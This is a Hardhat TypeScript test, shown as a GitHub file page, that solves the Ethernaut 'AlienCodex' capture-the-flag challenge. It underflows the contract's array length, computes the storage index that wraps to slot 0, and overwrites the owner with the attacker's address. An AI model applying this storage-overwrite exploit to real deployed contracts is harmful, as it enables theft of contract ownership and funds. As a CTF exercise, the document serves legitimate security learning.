-
Notifications
You must be signed in to change notification settings - Fork 7
Expand file tree
/
Copy path19-AlienCodex.spec.ts
More file actions
37 lines (26 loc) · 1.1 KB
/
Copy path19-AlienCodex.spec.ts
File metadata and controls
37 lines (26 loc) · 1.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import { expect } from "chai";
import { BigNumber } from "ethers";
import { ethers } from "hardhat";
const CONTRACT_NAME = "AlienCodex";
describe(CONTRACT_NAME, () => {
it("Solves the challenge", async () => {
const [_owner, attacker] = await ethers.getSigners()
const factory = await ethers.getContractFactory(CONTRACT_NAME);
let contract = await factory.deploy();
await contract.deployed();
contract = contract.connect(attacker)
let tx
tx = await contract.make_contact();
await tx.wait();
tx = await contract.retract();
await tx.wait();
const mapLengthAddress = "0x0000000000000000000000000000000000000000000000000000000000000001";
const mapStartSlot = BigNumber.from(ethers.utils.keccak256(mapLengthAddress));
const NUMBER_OF_SLOTS = BigNumber.from("2").pow("256");
const ownerPositionInMap = NUMBER_OF_SLOTS.sub(mapStartSlot);
const parsedAddress = ethers.utils.hexZeroPad(attacker.address, 32)
tx = await contract.revise(ownerPositionInMap, parsedAddress)
await tx.wait()
expect(await contract.owner()).to.eq(attacker.address);
});
});